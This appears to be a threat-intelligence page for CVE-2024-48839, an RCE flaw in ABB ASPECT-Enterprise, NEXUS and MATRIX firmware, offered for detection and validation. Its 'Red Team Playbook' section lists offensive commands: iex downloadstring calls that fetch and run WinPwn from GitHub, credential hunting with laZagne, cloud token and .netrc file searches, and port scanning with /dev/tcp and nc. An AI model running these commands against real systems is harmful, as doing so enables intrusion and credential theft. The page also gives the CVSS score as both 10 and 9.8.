CVE-2024-48839
Overview
The vulnerability is an improper input validation flaw classified under CWE-94 (Improper Control of Generation of Code). It arises from insufficient sanitization of user-supplied input within the ABB ASPECT-Enterprise firmware components, enabling injection of malicious code. This flaw affects the firmware of ABB ASPECT-Enterprise v3.08.02 and related Nexus and Matrix series devices, specifically in modules responsible for processing external input without adequate validation.
Vulnerability Description
Improper Input Validation vulnerability allows Remote Code Execution. Affected products: ABB ASPECT - Enterprise v3.08.02; NEXUS Series v3.08.02; MATRIX Series v3.08.02
Impact
An unauthenticated remote attacker can exploit this vulnerability over the network (AV:N/AC:L/PR:N/UI:N) to execute arbitrary code with high system privileges (C:H/I:H/A:L) on affected ABB ASPECT-Enterprise and related devices. This can result in unauthorized control over the system, potentially leading to data compromise, disruption of industrial control processes, and lateral movement within operational technology environments. The critical severity (CVSS 10) reflects the ease of exploitation and the extensive impact on confidentiality, integrity, and availability.
Solution
ABB has released firmware updates addressing this vulnerability for ABB ASPECT-Enterprise and associated Nexus and Matrix series products at version 3.08.02. Users should apply the updated firmware as detailed in ABB's official advisory (Document ID 9AKK108469A7497) available on their website. The advisory provides specific instructions for patching affected devices to mitigate the improper input validation flaw. No alternative workarounds are documented; timely firmware upgrade is required to remediate the issue.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability characterized by improper input validation within specific ABB products allows for remote code execution, presenting a significant threat to the integrity and security of affected systems. This flaw arises from the failure to adequately validate user-supplied input, enabling an attacker to craft malicious requests that the system may execute as legitimate commands. The affected products, including ABB ASPECT - Enterprise, NEXUS Series, and MATRIX Series, are widely used in industrial automation and control environments, making them critical components of operational technology (OT) infrastructures. The severity of this vulnerability is underscored by its high CVSS score of 9.8, indicating a critical risk that necessitates immediate attention.
Attack vectors for exploiting this vulnerability are varied and can be executed remotely, which amplifies the risk. An attacker could leverage social engineering tactics to trick users into interacting with a compromised interface or directly exploit the vulnerability through crafted network packets. Once access is gained, the attacker could execute arbitrary code on the affected systems, potentially leading to unauthorized control over industrial processes, data exfiltration, or the deployment of malware. Scenarios could include manipulating production processes, disrupting services, or even causing physical damage to machinery, which could have catastrophic consequences in an industrial setting.
The real-world impact of this vulnerability is profound, particularly for organizations relying on ABB's automation solutions. The potential for operational disruption poses significant business risks, including financial losses, reputational damage, and regulatory penalties. For instance, a successful attack could halt production lines, leading to substantial downtime and loss of revenue. Furthermore, the compromise of sensitive operational data could expose organizations to further security risks and legal liabilities. The interconnected nature of modern industrial systems means that the repercussions of such an exploit could extend beyond the immediate victim, affecting supply chains and partners.
To detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regular vulnerability assessments and penetration testing can help identify weaknesses in the system before they can be exploited. Additionally, organizations should ensure that all software and firmware are kept up to date, applying patches and updates provided by ABB as soon as they are available. Network segmentation can also be an effective strategy, isolating critical systems from less secure environments to limit the potential impact of an attack. Employing intrusion detection systems (IDS) can aid in monitoring for unusual activity that may indicate an attempted exploitation of the vulnerability.
In conclusion, the improper input validation vulnerability in ABB's automation products represents a critical threat to industrial environments. The potential for remote code execution poses severe risks, including operational disruption and financial loss. Organizations must prioritize detection and mitigation strategies to safeguard their systems against this vulnerability, ensuring the integrity and security of their operational technology infrastructures. By adopting proactive measures and maintaining vigilance, businesses can better protect themselves from the evolving landscape of cybersecurity threats.
CSURFACE threat intelligence has identified a marked increase in the Exploit Prediction Scoring System (EPSS) for CVE-2024-48839, with the score rising by over 270%, now placing it near the 94th percentile of predicted exploit likelihood. This substantial uptick signals growing attacker interest and a higher probability of exploitation attempts in the near term. Although the 7-day trend remains stable, the elevated EPSS score reflects a shift in the threat landscape that defenders must acknowledge. Concurrently, new proof-of-concept exploits targeting ABB ASPECT-Enterprise’s vulnerable components have surfaced, underscoring the practical feasibility of remote code execution attacks. This convergence of increased exploitability metrics and emerging exploit code elevates the risk profile of this vulnerability from a theoretical concern to an imminent operational threat. Consequently, organizations relying on affected ABB automation products face a heightened risk of compromise, necessitating increased vigilance in monitoring and detection efforts.
Affected Products (19)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Abb | Aspect-Ent-2 Firmware | All |
cpe:2.3:o:abb:aspect-ent-2_firmware:*:*:*:*:*:*:*:*
|
|
|
Abb | Aspect-Ent-256 Firmware | All |
cpe:2.3:o:abb:aspect-ent-256_firmware:*:*:*:*:*:*:*:*
|
|
|
Abb | Aspect-Ent-96 Firmware | All |
cpe:2.3:o:abb:aspect-ent-96_firmware:*:*:*:*:*:*:*:*
|
|
|
Abb | Nexus-2128 Firmware | All |
cpe:2.3:o:abb:nexus-2128_firmware:*:*:*:*:*:*:*:*
|
|
|
Abb | Nexus-2128-A Firmware | All |
cpe:2.3:o:abb:nexus-2128-a_firmware:*:*:*:*:*:*:*:*
|
|
|
Abb | Nexus-2128-F Firmware | All |
cpe:2.3:o:abb:nexus-2128-f_firmware:*:*:*:*:*:*:*:*
|
|
|
Abb | Nexus-2128-G Firmware | All |
cpe:2.3:o:abb:nexus-2128-g_firmware:*:*:*:*:*:*:*:*
|
|
|
Abb | Nexus-264 Firmware | All |
cpe:2.3:o:abb:nexus-264_firmware:*:*:*:*:*:*:*:*
|
|
|
Abb | Nexus-264-A Firmware | All |
cpe:2.3:o:abb:nexus-264-a_firmware:*:*:*:*:*:*:*:*
|
|
|
Abb | Nexus-264-G Firmware | All |
cpe:2.3:o:abb:nexus-264-g_firmware:*:*:*:*:*:*:*:*
|
|
|
Abb | Nexus-3-2128 Firmware | All |
cpe:2.3:o:abb:nexus-3-2128_firmware:*:*:*:*:*:*:*:*
|
|
|
Abb | Aspect-Ent-12 Firmware | All |
cpe:2.3:o:abb:aspect-ent-12_firmware:*:*:*:*:*:*:*:*
|
|
|
Abb | Nexus-264-F Firmware | All |
cpe:2.3:o:abb:nexus-264-f_firmware:*:*:*:*:*:*:*:*
|
|
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Abb | Nexus-3-264 Firmware | All |
cpe:2.3:o:abb:nexus-3-264_firmware:*:*:*:*:*:*:*:*
|
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|
Abb | Matrix-11 Firmware | All |
cpe:2.3:o:abb:matrix-11_firmware:*:*:*:*:*:*:*:*
|
|
|
Abb | Matrix-216 Firmware | All |
cpe:2.3:o:abb:matrix-216_firmware:*:*:*:*:*:*:*:*
|
|
|
Abb | Matrix-232 Firmware | All |
cpe:2.3:o:abb:matrix-232_firmware:*:*:*:*:*:*:*:*
|
|
|
Abb | Matrix-264 Firmware | All |
cpe:2.3:o:abb:matrix-264_firmware:*:*:*:*:*:*:*:*
|
|
|
Abb | Matrix-296 Firmware | All |
cpe:2.3:o:abb:matrix-296_firmware:*:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
ExploitDB (2)
| Title | Author | Type | Platform | Date | Link |
|---|---|---|---|---|---|
| ABB Cylon Aspect 3.08.02 (uploadDb.php) - Remote Code Execution | LiquidWorm | hardware | multiple | - | View |
| ABB Cylon Aspect 3.08.02 (bbmdUpdate.php) - Remote Code Execution | LiquidWorm | hardware | multiple | - | View |
Threat Feed
1 eventsPublic exploit code is available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-48839 |
| search.abb.com |
GitHub CVE
|
https://search.abb.com/library/Download.aspx?DocumentID=9AKK108469A7497&LanguageCode=en&DocumentPartId=&Action=Launch |